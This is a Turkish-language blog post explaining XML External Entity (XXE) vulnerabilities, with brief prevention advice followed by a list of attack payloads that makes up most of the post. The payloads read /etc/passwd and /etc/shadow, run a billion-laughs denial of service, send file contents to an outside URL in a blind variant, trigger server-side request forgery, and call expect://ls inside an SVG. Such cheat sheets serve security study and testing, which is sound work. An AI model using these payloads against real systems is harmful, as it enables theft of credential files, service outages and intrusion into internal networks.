XXE(XML External Entity) Zafiyeti

XXE Zafiyeti Nedir?

XML External Entity (XXE) saldırısı, XML parser’ının özelliklerini kötüye kullanan bir güvenlik açığıdır. Genellikle bir saldırganın, uygulamada erişebileceği herhangi bir backend veya external sistemle etkileşime girmesine izin verir ve saldırganın sistemde bulunan dosyayı okumasına olanak sağlayabilir. Ayrıca, DoS saldırısına neden olabilir. Saldırgan XXE yapısını Side Request Forgery (SSRF) saldırısı gerçekleştirmek için kullanabilir. XXE, port taramasını etkinleştirebilir ve uzaktan kod çalıştırılmasına neden olabilir.

İki tür XXE saldırısı vardır: in-band ve out-band (OOB-XXE).

  • In-band bir XXE saldırısı, saldırganın XXE payload’ına anında yanıt alabildiği saldırıdır.
  • Out-band XXE saldırıları (blind XXE olarak da bilinir), web uygulamasından anında yanıt gelmez ve saldırganın XXE payload çıktısını başka bir dosyaya veya kendi sunucusuna yönlendirmesi gerekir.

Konu ile ilgili daha detaylı bilgi almak isterseniz web sitemde bulunan diğer yazıyı da okuyabilirsiniz. Ben şimdi size XXE zafiyetinde kullanabileceğimiz bazı payload’lardan bahsetmek istiyorum.


XXE Zafiyetinden Korunma Yolları

Web uygulamalarında XXE zafiyetinden korumak için yapılabilecek birkaç şey şudur:

  1. XML Parser Kontrolü: XXE, eski XML Parser’lara saldıran bir injection saldırısı türüdür.. Bu nedenle, kötüye kullanılabilecek XML özellikleri için uygulamanızın XML Parser kütüphanesini kontrol ederek bir önlem alabilirsiniz. XML processor’ların güncel olup olmadığını kontrol etmek de gerekmektedir.
  2. Kullanıcının input(girdi) kontrolü: Dosya yüklemelerinin XSD yapısı ile kontrol edilmesi gerekmektedir. Oluşturduğunuz Whitelist(Beyaz listede) içinde olan URL’lere izin veriniz.
  3. Kodunuzu test etmek: Manuel olarak kod incelemelerini hafife almayın. Çeşitli API’lar iler XXE saldırılarını test edin. XML Parser’ları tarafından kod işlemle alınmadan önce kullanıcı input(girdi) değerlerini kontrol edin.

Bazı XXE Payload Yapıları

XXE: Basit XML Örneği

<!--?xml version="1.0" ?-->
<userInfo>
 <firstName>Ali</firstName>
 <lastName>Veli</lastName>
</userInfo>

XXE: Entity Örneği

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Veli"> ]>
 <userInfo>
  <firstName>Ali</firstName>
  <lastName>&example;</lastName>
 </userInfo>


XXE: Sistemden Dosya Okuma

İlk olarak şu şekilde yapabiliriz.

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY Dosya SYSTEM "file:///etc/shadow"> ]>
<userInfo>
 <firstName>Ali</firstName>
 <lastName>&Dosya;</lastName>
</userInfo>

Bir başka yolu da bu şekilde olabilir.

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">]>
<data>&file;</data>

Diğer bir yolu da bu şekildedir:

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

XXE: DoS Saldırısı Örneği

<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>

XXE: LFI Zafiyeti Örneği

<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY My_LFI SYSTEM "file:///etc/passwd">]><foo>&My_LFI;</foo>

XXE: Blind LFI Zafiyeti Örneği

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % Dosya SYSTEM "file:///etc/passwd">
<!ENTITY blind_LFI SYSTEM "https://www.example.com/?%Dosya;">]><foo>&blind_LFI;</foo>

XXE: SOAP Yapısı İçinde XXE

<soap:Body>
  <foo>
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
  </foo>
</soap:Body>

XXE: SVG İçinde XXE Kullanmak

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="expect://ls"></image>
</svg>

XXE: Base64 İle Kullanılmış Hali

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

XXE:SSRF ( Server Side Request Forgery ) Örneği

<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY SSRF SYSTEM "https://www.example.com/text.txt">]><foo>&SSRF;</foo>

XXE: External Xml Kullanmak

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
<lolz><lol>3..2..1...&test<lol></lolz>

Buraya kadar olan kısımda sizlere XXE zafiyeti hakkında bilgi vermeye çalıştım ve bu zafiyet için kullanabileceğiniz bazı payload yapılarını da örnek olarak verdim. Daha fazla bilgi almak isterseniz aşağıdaki kaynakça kısmında olan linklere bakabilirsiniz.

Bir sonraki yazımda görüşmek üzere….


Kaynakça

  1. https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#classic-xxe
  2. https://medium.com/@ismailtasdelen/xml-external-entity-xxe-injection-payload-list-937d33e5e116
  3. https://gist.github.com/staaldraad/01415b990939494879b4
  4. https://portswigger.net/web-security/xxe

Bir Cevap Yazın

Aşağıya bilgilerinizi girin veya oturum açmak için bir simgeye tıklayın:

WordPress.com Logosu

WordPress.com hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap /  Değiştir )

Google fotoğrafı

Google hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap /  Değiştir )

Twitter resmi

Twitter hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap /  Değiştir )

Facebook fotoğrafı

Facebook hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap /  Değiştir )

Connecting to %s

WordPress.com'da Blog Oluşturun.

Yukarı ↑

%d blogcu bunu beğendi: